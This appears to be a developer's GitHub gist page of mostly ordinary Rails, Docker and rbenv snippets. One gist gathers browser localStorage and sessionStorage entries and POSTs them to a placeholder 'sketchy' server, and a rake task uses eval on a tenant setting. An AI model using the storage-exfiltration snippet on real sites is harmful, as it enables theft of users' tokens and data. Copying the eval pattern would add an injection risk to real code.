Skip to content

Instantly share code, notes, and snippets.

View donrestarone's full-sized avatar
🤖
Building products

Don Restarone donrestarone

🤖
Building products
View GitHub Profile
class Ahoy::Event < ApplicationRecord
scope :with_label_grouped_data , -> {
# Build a subquery SQL
subquery = self.unscoped.select("(case when #{table_name}.properties->>'label' is not NULL then #{table_name}.properties->>'label' else #{table_name}.name end) as label, #{table_name}.id").to_sql
# join the subquery to base model and returns the grouped data as Hash
self
.joins("INNER JOIN (#{subquery}) as labelled_events ON labelled_events.id = #{table_name}.id")
.group(:label)
@donrestarone
donrestarone / violet-rails-cleanup.rb
Created May 27, 2022 09:23
example of subdomain based multi-tenancy in Violet Rails: how to access subdomains
task :clear_old_ahoy_visits => [:environment] do
Subdomain.all.each do |subdomain|
Apartment::Tenant.switch subdomain.name do
if subdomain.purge_visits_every != Subdomain::TRACKING_PURGE_MAPPING[:never]
p "clearing old ahoy visits for [#{subdomain.name}] @ #{Time.now}"
visits = Ahoy::Visit.where("started_at < ?", eval("#{subdomain.purge_visits_every}.ago"))
p "#{visits.size} visits eligible for deletion"
visits.in_batches do |batch|
p "cleared old ahoy visits @ #{Time.now}"
batch.destroy_all
@donrestarone
donrestarone / ruby.sh
Created December 23, 2021 11:06
rbenv ruby install build flags for M1 (apple silicon) mac
CFLAGS="-Wno-error=implicit-function-declaration" RUBY_CONFIGURE_OPTS='--with-readline-dir=/usr/local/opt/readline/' arch -x86_64 rbenv install 2.4.2
@donrestarone
donrestarone / local-storage-and-session-storage.js
Last active December 16, 2021 11:52
find local storage and session storage data and send to a remote server
storedItems = [Object.keys(sessionStorage), Object.keys(localStorage)].flat().map((k) => {
return {
key: k, value: sessionStorage.getItem(k)
}
})
console.log(storedItems);
let xhr = new XMLHttpRequest();
xhr.open("POST", 'https://sketchymcsketchserver.com', true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function() {
@donrestarone
donrestarone / sitemap.rb
Created February 3, 2021 13:48
a simple example of sitemap_generator in a rails application
SitemapGenerator::Sitemap.default_host = "https://your-domain.com"
SitemapGenerator::Sitemap.create do
add blog_index_path
add new_visitor_inquiry_path
add services_path
add about_index_path
end
@donrestarone
donrestarone / dynamic-favicons.html.erb
Last active February 3, 2021 13:36
dynamically render favicons for a variety of sizes
<%= favicon_link_tag asset_path('your logo path') %>
<% %w(32 128 76 120 152 167 180 192 196).each do |size| %>
<%= favicon_link_tag "/icons/your-logo.png", rel: 'apple-touch-icon', type: 'image/png', sizes: "#{size}x#{size}" %>
<% end %>
<% %w(16 32).each do |size| %>
<%= favicon_link_tag "/icons/your-logo.png", rel: 'icon', type: 'image/png', sizes: "#{size}x#{size}" %>
<% end %>
@donrestarone
donrestarone / meta_tags_controller.rb
Created February 3, 2021 13:30
a simple rails controller that implements meta tags
class HomeController < ApplicationController
def index
@page_title = "Your Page Title Here"
@page_description = "Your Page Description Here"
@page_keywords = "comma, separated, keywords, here"
set_meta_tags(
og: {
image: 'your::aws::s3:image_path',
title: @page_title,
description: @page_description
@donrestarone
donrestarone / test-docker-entrypoint.sh
Created December 27, 2020 16:36
docker-entrypoint for test rails
#!/bin/sh
set -e
echo "Environment: $RAILS_ENV"
# Check if we need to install new gems
bundle check || bundle install --jobs 20 --retry 5
# Then run any passed command
@donrestarone
donrestarone / dev-docker-entrypoint.sh
Created December 27, 2020 16:33
docker-entrypoint for rails in development mode
#!/bin/sh
set -e
echo "Environment: $RAILS_ENV"
# install missing gems
bundle check || bundle install --jobs 20 --retry 5
# Remove pre-existing puma/passenger server.pid